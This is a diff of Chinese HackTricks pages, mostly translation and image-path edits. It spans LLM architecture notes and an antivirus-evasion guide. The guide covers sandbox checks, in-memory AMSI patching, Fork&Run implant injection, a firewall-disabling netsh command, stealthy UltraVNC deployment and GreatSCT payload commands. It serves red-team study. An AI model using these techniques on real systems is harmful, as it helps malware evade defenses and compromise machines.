@ -407,12 +407,12 @@ print(context_vecs)
|
|||
print("context_vecs.shape:", context_vecs.shape)
|
||||
|
||||
```
|
||||
对于另一个紧凑且高效的实现,您可以使用 PyTorch 中的 [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) 类。
|
||||
对于另一个紧凑且高效的实现,您可以在 PyTorch 中使用 [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) 类。
|
||||
|
||||
{% hint style="success" %}
|
||||
ChatGPT 关于为什么将令牌的维度分配给各个头而不是让每个头检查所有令牌的所有维度的简短回答:
|
||||
|
||||
虽然允许每个头处理所有嵌入维度似乎有优势,因为每个头将能够访问完整信息,但标准做法是**将嵌入维度分配给各个头**。这种方法在计算效率与模型性能之间取得平衡,并鼓励每个头学习多样化的表示。因此,通常更倾向于分割嵌入维度,而不是让每个头检查所有维度。
|
||||
虽然允许每个头处理所有嵌入维度似乎有优势,因为每个头将能够访问完整信息,但标准做法是 **将嵌入维度分配给各个头**。这种方法在计算效率与模型性能之间取得平衡,并鼓励每个头学习多样化的表示。因此,通常更倾向于分割嵌入维度,而不是让每个头检查所有维度。
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# 5. LLM架构
|
||||
# 5. LLM Architecture
|
||||
|
||||
## LLM架构
|
||||
## LLM Architecture
|
||||
|
||||
{% hint style="success" %}
|
||||
这一阶段的目标非常简单:**开发完整LLM的架构**。将所有内容整合在一起,应用所有层并创建所有功能以生成文本或将文本转换为ID及其反向操作。
|
||||
|
@ -10,9 +10,9 @@
|
|||
|
||||
LLM架构示例来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
|
||||
|
||||
可以观察到高层次的表示:
|
||||
可以在以下位置观察到高级表示:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
|
||||
1. **输入(标记化文本)**:该过程以标记化文本开始,该文本被转换为数值表示。
|
||||
2. **标记嵌入和位置嵌入层**:标记化文本通过**标记嵌入**层和**位置嵌入层**,后者捕捉序列中标记的位置,这对理解单词顺序至关重要。
|
||||
|
@ -22,7 +22,7 @@ LLM架构示例来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04
|
|||
* **前馈层**:负责处理来自注意力层的信息并对下一个标记进行预测。
|
||||
* **丢弃层**:这些层通过在训练期间随机丢弃单元来防止过拟合。
|
||||
4. **最终输出层**:模型输出一个**4x50,257维的张量**,其中**50,257**表示词汇表的大小。该张量中的每一行对应于模型用于预测序列中下一个单词的向量。
|
||||
5. **目标**:目标是将这些嵌入转换回文本。具体来说,输出的最后一行用于生成下一个单词,在该图中表示为“向前”。
|
||||
5. **目标**:目标是将这些嵌入转换回文本。具体来说,输出的最后一行用于生成下一个单词,在该图中表示为“前进”。
|
||||
|
||||
### 代码表示
|
||||
```python
|
||||
|
@ -212,10 +212,10 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
|||
#### **目的和功能**
|
||||
|
||||
* **GELU (高斯误差线性单元):** 一种激活函数,向模型引入非线性。
|
||||
* **平滑激活:** 与ReLU不同,ReLU将负输入归零,GELU平滑地将输入映射到输出,允许负输入的小非零值。
|
||||
* **平滑激活:** 与ReLU不同,ReLU将负输入归零,GELU平滑地将输入映射到输出,允许负输入有小的非零值。
|
||||
* **数学定义:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
在FeedForward层内部的线性层之后使用此函数的目的是将线性数据转换为非线性,以便模型能够学习复杂的非线性关系。
|
||||
|
@ -266,7 +266,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
|||
* **查询、键、值:** 输入的线性投影,用于计算注意力分数。
|
||||
* **头:** 多个并行运行的注意力机制(`num_heads`),每个具有减少的维度(`head_dim`)。
|
||||
* **注意力分数:** 作为查询和键的点积计算,经过缩放和掩蔽。
|
||||
* **掩蔽:** 应用因果掩蔽,以防止模型关注未来的标记(对像 GPT 这样的自回归模型很重要)。
|
||||
* **掩蔽:** 应用因果掩蔽以防止模型关注未来的标记(对像 GPT 这样的自回归模型很重要)。
|
||||
* **注意力权重:** 掩蔽和缩放后的注意力分数的 Softmax。
|
||||
* **上下文向量:** 根据注意力权重的值的加权和。
|
||||
* **输出投影:** 线性层以组合所有头的输出。
|
||||
|
@ -309,7 +309,7 @@ return self.scale * norm_x + self.shift
|
|||
目标是确保同一标记的所有维度的均值为0,方差为1。这样做的目的是**通过减少内部协变量偏移来稳定深度神经网络的训练**,内部协变量偏移是指由于训练过程中参数更新而导致的网络激活分布的变化。
|
||||
{% endhint %}
|
||||
|
||||
### **变换器块**
|
||||
### **Transformer 块**
|
||||
|
||||
_已添加形状作为注释,以更好地理解矩阵的形状:_
|
||||
```python
|
||||
|
@ -377,7 +377,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
|||
变换器块将所有网络组合在一起,并应用一些**归一化**和**丢弃法**以改善训练的稳定性和结果。\
|
||||
注意丢弃法是在每个网络使用后进行的,而归一化是在之前应用的。
|
||||
|
||||
此外,它还使用快捷方式,即**将网络的输出与其输入相加**。这有助于通过确保初始层的贡献与最后一层“相同”来防止梯度消失问题。
|
||||
此外,它还使用快捷方式,即**将网络的输出与其输入相加**。这有助于防止消失梯度问题,确保初始层的贡献与最后一层“相同”。
|
||||
{% endhint %}
|
||||
|
||||
### **GPTModel**
|
||||
|
@ -440,8 +440,8 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
|||
#### **目的和功能**
|
||||
|
||||
* **嵌入层:**
|
||||
* **令牌嵌入 (`tok_emb`):** 将令牌索引转换为嵌入。提醒一下,这些是赋予词汇中每个令牌每个维度的权重。
|
||||
* **位置嵌入 (`pos_emb`):** 向嵌入添加位置信息,以捕捉令牌的顺序。提醒一下,这些是根据令牌在文本中的位置赋予的权重。
|
||||
* **令牌嵌入 (`tok_emb`):** 将令牌索引转换为嵌入。作为提醒,这些是赋予词汇中每个令牌每个维度的权重。
|
||||
* **位置嵌入 (`pos_emb`):** 向嵌入添加位置信息,以捕捉令牌的顺序。作为提醒,这些是根据令牌在文本中的位置赋予的权重。
|
||||
* **丢弃 (`drop_emb`):** 应用于嵌入以进行正则化。
|
||||
* **变换器块 (`trf_blocks`):** 一组 `n_layers` 变换器块,用于处理嵌入。
|
||||
* **最终归一化 (`final_norm`):** 在输出层之前进行层归一化。
|
||||
|
|
|
@ -9,10 +9,10 @@
|
|||
LoRA 使得通过仅更改模型的 **小部分** 来高效地微调 **大型模型** 成为可能。它减少了需要训练的参数数量,从而节省了 **内存** 和 **计算资源**。这是因为:
|
||||
|
||||
1. **减少可训练参数的数量**:LoRA **将** 权重矩阵分成两个较小的矩阵(称为 **A** 和 **B**),而不是更新模型中的整个权重矩阵。这使得训练 **更快**,并且需要 **更少的内存**,因为需要更新的参数更少。
|
||||
1. 这是因为它不是计算一个层(矩阵)的完整权重更新,而是将其近似为两个较小矩阵的乘积,从而减少了计算更新:\
|
||||
1. 这是因为它不是计算层(矩阵)的完整权重更新,而是将其近似为两个较小矩阵的乘积,从而减少了更新计算:\
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
2. **保持原始模型权重不变**:LoRA 允许您保持原始模型权重不变,仅更新 **新的小矩阵**(A 和 B)。这很有帮助,因为这意味着模型的原始知识得以保留,您只需调整必要的部分。
|
||||
3. **高效的任务特定微调**:当您想将模型适应于 **新任务** 时,您只需训练 **小的 LoRA 矩阵**(A 和 B),而将模型的其余部分保持不变。这比重新训练整个模型 **高效得多**。
|
||||
4. **存储效率**:微调后,您只需存储 **LoRA 矩阵**,而不是为每个任务保存 **整个新模型**,这些矩阵与整个模型相比非常小。这使得将模型适应于多个任务而不占用过多存储变得更容易。
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
# Antivirus (AV) Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -29,7 +29,7 @@
|
|||
|
||||
### **静态检测**
|
||||
|
||||
静态检测是通过标记已知的恶意字符串或字节数组在二进制文件或脚本中实现的,同时还提取文件本身的信息(例如文件描述、公司名称、数字签名、图标、校验和等)。这意味着使用已知的公共工具可能更容易被捕获,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测:
|
||||
静态检测是通过标记已知的恶意字符串或字节数组在二进制文件或脚本中实现的,同时也提取文件本身的信息(例如文件描述、公司名称、数字签名、图标、校验和等)。这意味着使用已知的公共工具可能更容易被捕获,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测:
|
||||
|
||||
* **加密**
|
||||
|
||||
|
@ -55,11 +55,11 @@
|
|||
|
||||
* **执行前休眠** 根据实现方式,这可能是绕过 AV 动态分析的好方法。AV 扫描文件的时间非常短,以免打断用户的工作流程,因此使用长时间的休眠可以干扰二进制文件的分析。问题是许多 AV 的沙箱可以根据实现方式跳过休眠。
|
||||
* **检查机器资源** 通常沙箱可用的资源非常少(例如 < 2GB RAM),否则它们可能会减慢用户的机器。你也可以在这里发挥创造力,例如检查 CPU 的温度或风扇速度,并不是所有内容都会在沙箱中实现。
|
||||
* **特定机器检查** 如果你想针对加入“contoso.local”域的用户的工作站,你可以检查计算机的域以查看是否与指定的域匹配,如果不匹配,你可以让程序退出。
|
||||
* **特定机器检查** 如果你想针对加入 "contoso.local" 域的用户工作站,可以检查计算机的域以查看是否与指定的域匹配,如果不匹配,可以让你的程序退出。
|
||||
|
||||
事实证明,Microsoft Defender 的沙箱计算机名是 HAL9TH,因此,你可以在恶意软件引爆前检查计算机名,如果名称匹配 HAL9TH,则意味着你在 Defender 的沙箱中,因此可以让程序退出。
|
||||
事实证明,Microsoft Defender 的沙箱计算机名是 HAL9TH,因此,你可以在恶意软件引爆前检查计算机名,如果名称匹配 HAL9TH,则意味着你在 Defender 的沙箱中,因此可以让你的程序退出。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
一些来自 [@mgeeky](https://twitter.com/mariuszbit) 的非常好的建议,用于对抗沙箱
|
||||
|
||||
|
@ -69,7 +69,7 @@
|
|||
|
||||
例如,如果你想转储 LSASS,**你真的需要使用 mimikatz 吗**?或者你可以使用一个不太知名的项目来转储 LSASS。
|
||||
|
||||
正确的答案可能是后者。以 mimikatz 为例,它可能是被 AV 和 EDR 标记的恶意软件中最被标记的之一,尽管该项目本身非常酷,但在绕过 AV 时与之合作也是一场噩梦,因此只需寻找替代方案来实现你的目标。
|
||||
正确的答案可能是后者。以 mimikatz 为例,它可能是被 AV 和 EDR 标记的恶意软件中最被标记的之一,尽管该项目本身非常酷,但在绕过 AV 时使用它也是一场噩梦,因此只需寻找你想要实现的目标的替代方案。
|
||||
|
||||
{% hint style="info" %}
|
||||
在修改你的有效载荷以进行规避时,请确保 **关闭 Defender 的自动样本提交**,并且请认真考虑,**如果你的目标是长期规避,请不要上传到 VIRUSTOTAL**。如果你想检查你的有效载荷是否被特定 AV 检测到,请在虚拟机上安装它,尝试关闭自动样本提交,并在那里进行测试,直到你对结果满意为止。
|
||||
|
@ -162,13 +162,13 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
|||
|
||||
## AMSI(反恶意软件扫描接口)
|
||||
|
||||
AMSI的创建是为了防止“[无文件恶意软件](https://en.wikipedia.org/wiki/Fileless\_malware)”。最初,AV只能扫描**磁盘上的文件**,因此如果你能够以某种方式**直接在内存中执行有效载荷**,AV就无能为力,因为它没有足够的可见性。
|
||||
AMSI的创建是为了防止“[无文件恶意软件](https://en.wikipedia.org/wiki/Fileless\_malware)”。最初,AV只能扫描**磁盘上的文件**,因此如果你能够以某种方式**直接在内存中执行有效载荷**,AV就无法采取任何措施来阻止它,因为它没有足够的可见性。
|
||||
|
||||
AMSI功能集成在Windows的以下组件中。
|
||||
|
||||
* 用户帐户控制,或UAC(EXE、COM、MSI或ActiveX安装的提升)
|
||||
* 用户帐户控制,或UAC(提升EXE、COM、MSI或ActiveX安装)
|
||||
* PowerShell(脚本、交互使用和动态代码评估)
|
||||
* Windows脚本宿主(wscript.exe和cscript.exe)
|
||||
* Windows脚本主机(wscript.exe和cscript.exe)
|
||||
* JavaScript和VBScript
|
||||
* Office VBA宏
|
||||
|
||||
|
@ -178,7 +178,7 @@ AMSI功能集成在Windows的以下组件中。
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
注意它如何在前面加上 `amsi:`,然后是脚本运行的可执行文件的路径,在这种情况下是powershell.exe。
|
||||
注意它是如何在前面加上 `amsi:` 然后是脚本运行的可执行文件的路径,在这种情况下是powershell.exe。
|
||||
|
||||
我们没有将任何文件写入磁盘,但仍然因为AMSI在内存中被捕获。
|
||||
|
||||
|
@ -188,7 +188,7 @@ AMSI功能集成在Windows的以下组件中。
|
|||
|
||||
由于AMSI主要依赖静态检测,因此修改你尝试加载的脚本可能是规避检测的好方法。
|
||||
|
||||
然而,AMSI有能力解混淆脚本,即使它有多层,因此混淆可能是一个糟糕的选择,具体取决于其实现方式。这使得规避变得不那么简单。尽管有时,你所需要做的只是更改几个变量名称,你就可以成功,因此这取决于某个东西被标记的程度。
|
||||
然而,AMSI有能力解混淆脚本,即使它有多层,因此混淆可能是一个糟糕的选择,具体取决于其实现方式。这使得规避变得不那么简单。尽管有时,你所需要做的只是更改几个变量名称,你就可以成功,因此这取决于某个内容被标记的程度。
|
||||
|
||||
* **AMSI绕过**
|
||||
|
||||
|
@ -224,7 +224,7 @@ $Spotfix.SetValue($null,$true)
|
|||
|
||||
**内存补丁**
|
||||
|
||||
该技术最初由 [@RastaMouse](https://twitter.com/\_RastaMouse/) 发现,涉及在 amsi.dll 中找到 "AmsiScanBuffer" 函数的地址(负责扫描用户提供的输入),并用返回 E\_INVALIDARG 代码的指令覆盖它,这样,实际扫描的结果将返回 0,这被解释为干净的结果。
|
||||
该技术最初是由 [@RastaMouse](https://twitter.com/\_RastaMouse/) 发现的,它涉及在 amsi.dll 中找到 "AmsiScanBuffer" 函数的地址(负责扫描用户提供的输入),并用返回 E\_INVALIDARG 代码的指令覆盖它,这样,实际扫描的结果将返回 0,这被解释为干净的结果。
|
||||
|
||||
{% hint style="info" %}
|
||||
请阅读 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) 以获取更详细的解释。
|
||||
|
@ -258,7 +258,7 @@ Microsoft Defender SmartScreen 是一种安全机制,旨在保护最终用户
|
|||
|
||||
SmartScreen 主要采用基于声誉的方法,这意味着不常下载的应用程序将触发 SmartScreen,从而警告并阻止最终用户执行该文件(尽管可以通过点击更多信息 -> 无论如何运行来执行该文件)。
|
||||
|
||||
**MoTW**(网络标记)是一个 [NTFS 备用数据流](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)),其名称为 Zone.Identifier,下载来自互联网的文件时会自动创建,并附带下载的 URL。
|
||||
**MoTW**(网络标记)是一个 [NTFS 备用数据流](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)),其名称为 Zone.Identifier,下载来自互联网的文件时会自动创建,并包含下载的 URL。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>检查从互联网下载的文件的 Zone.Identifier ADS。</p></figcaption></figure>
|
||||
|
||||
|
@ -308,13 +308,13 @@ Adding file: /TotallyLegitApp.exe
|
|||
|
||||
* **Fork\&Run**
|
||||
|
||||
这涉及到 **生成一个新的牺牲进程**,将你的后渗透恶意代码注入到那个新进程中,执行你的恶意代码,完成后杀死新进程。这有其优点和缺点。Fork 和 run 方法的好处在于执行发生在 **我们的 Beacon 植入进程之外**。这意味着如果我们的后渗透操作中的某些事情出错或被捕获,我们的 **植入物存活的机会会更大**。缺点是你有 **更大的机会** 被 **行为检测** 捕获。
|
||||
这涉及到 **生成一个新的牺牲进程**,将你的后渗透恶意代码注入到该新进程中,执行你的恶意代码,完成后杀死新进程。这有其优点和缺点。Fork 和 run 方法的好处在于执行发生在 **我们的 Beacon 植入进程之外**。这意味着如果我们的后渗透操作中的某些事情出错或被捕获,我们的 **植入物存活的机会更大**。缺点是你有 **更大的机会** 被 **行为检测** 捕获。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **Inline**
|
||||
|
||||
这涉及将后渗透恶意代码 **注入到其自身进程中**。这样,你可以避免创建新进程并让其被 AV 扫描,但缺点是如果你的有效负载执行出现问题,**失去你的 beacon 的机会会更大**,因为它可能会崩溃。
|
||||
这是将后渗透恶意代码 **注入到其自身进程中**。这样,你可以避免创建新进程并让其被 AV 扫描,但缺点是如果你的有效负载执行出现问题,**失去你的 beacon 的机会更大**,因为它可能崩溃。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -330,7 +330,7 @@ Adding file: /TotallyLegitApp.exe
|
|||
|
||||
通过允许访问 SMB 共享上的解释器二进制文件和环境,你可以 **在被攻陷机器的内存中执行这些语言的任意代码**。
|
||||
|
||||
该仓库指出:Defender 仍然会扫描脚本,但通过利用 Go、Java、PHP 等,我们有 **更多的灵活性来绕过静态签名**。使用这些语言中的随机未混淆反向 shell 脚本进行测试已证明成功。
|
||||
该仓库指出:Defender 仍然会扫描脚本,但通过利用 Go、Java、PHP 等,我们有 **更多灵活性来绕过静态签名**。使用这些语言中的随机未混淆反向 shell 脚本进行测试已证明成功。
|
||||
|
||||
## 高级规避
|
||||
|
||||
|
@ -338,11 +338,11 @@ Adding file: /TotallyLegitApp.exe
|
|||
|
||||
你所面对的每个环境都有其自身的优缺点。
|
||||
|
||||
我强烈建议你观看 [@ATTL4S](https://twitter.com/DaniLJ94) 的这场演讲,以了解更多高级规避技术。
|
||||
我强烈建议你观看 [@ATTL4S](https://twitter.com/DaniLJ94) 的这次演讲,以了解更多高级规避技术。
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
|
||||
这也是 [@mariuszbit](https://twitter.com/mariuszbit) 关于深入规避的另一场精彩演讲。
|
||||
这也是 [@mariuszbit](https://twitter.com/mariuszbit) 关于深入规避的另一个精彩演讲。
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||
|
||||
|
@ -351,7 +351,7 @@ Adding file: /TotallyLegitApp.exe
|
|||
### **检查 Defender 发现的恶意部分**
|
||||
|
||||
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它将 **删除二进制文件的部分**,直到 **找出 Defender** 发现的恶意部分并将其分离给你。\
|
||||
另一个做 **同样事情的工具是** [**avred**](https://github.com/dobin/avred),它提供了一个开放的网络服务,地址是 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
另一个做 **同样事情的工具是** [**avred**](https://github.com/dobin/avred),它在 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 提供开放的网络服务。
|
||||
|
||||
### **Telnet 服务器**
|
||||
|
||||
|
@ -370,7 +370,7 @@ netsh advfirewall set allprofiles state off
|
|||
```
|
||||
### UltraVNC
|
||||
|
||||
从以下链接下载: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)(你需要的是二进制下载,而不是安装程序)
|
||||
从这里下载: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)(你需要的是二进制下载,而不是安装程序)
|
||||
|
||||
**在主机上**: 执行 _**winvnc.exe**_ 并配置服务器:
|
||||
|
||||
|
@ -387,12 +387,12 @@ netsh advfirewall set allprofiles state off
|
|||
**警告:** 为了保持隐蔽性,你必须避免以下几件事
|
||||
|
||||
* 如果 `winvnc` 已经在运行,不要再次启动它,否则会触发 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行
|
||||
* 如果没有 `UltraVNC.ini` 在同一目录中,不要启动 `winvnc`,否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
|
||||
* 如果同一目录中没有 `UltraVNC.ini`,不要启动 `winvnc`,否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
|
||||
* 不要运行 `winvnc -h` 获取帮助,否则会触发 [弹出窗口](https://i.imgur.com/oc18wcu.png)
|
||||
|
||||
### GreatSCT
|
||||
|
||||
从以下链接下载: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
从这里下载: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
```
|
||||
git clone https://github.com/GreatSCT/GreatSCT.git
|
||||
cd GreatSCT/setup/
|
||||
|
@ -400,7 +400,7 @@ cd GreatSCT/setup/
|
|||
cd ..
|
||||
./GreatSCT.py
|
||||
```
|
||||
Inside GreatSCT:
|
||||
在 GreatSCT 内部:
|
||||
```
|
||||
use 1
|
||||
list #Listing available payloads
|
||||
|
@ -565,23 +565,23 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_要求流利的波兰语书写和口语_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,25 @@
|
|||
# PsExec/Winexec/ScExec
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
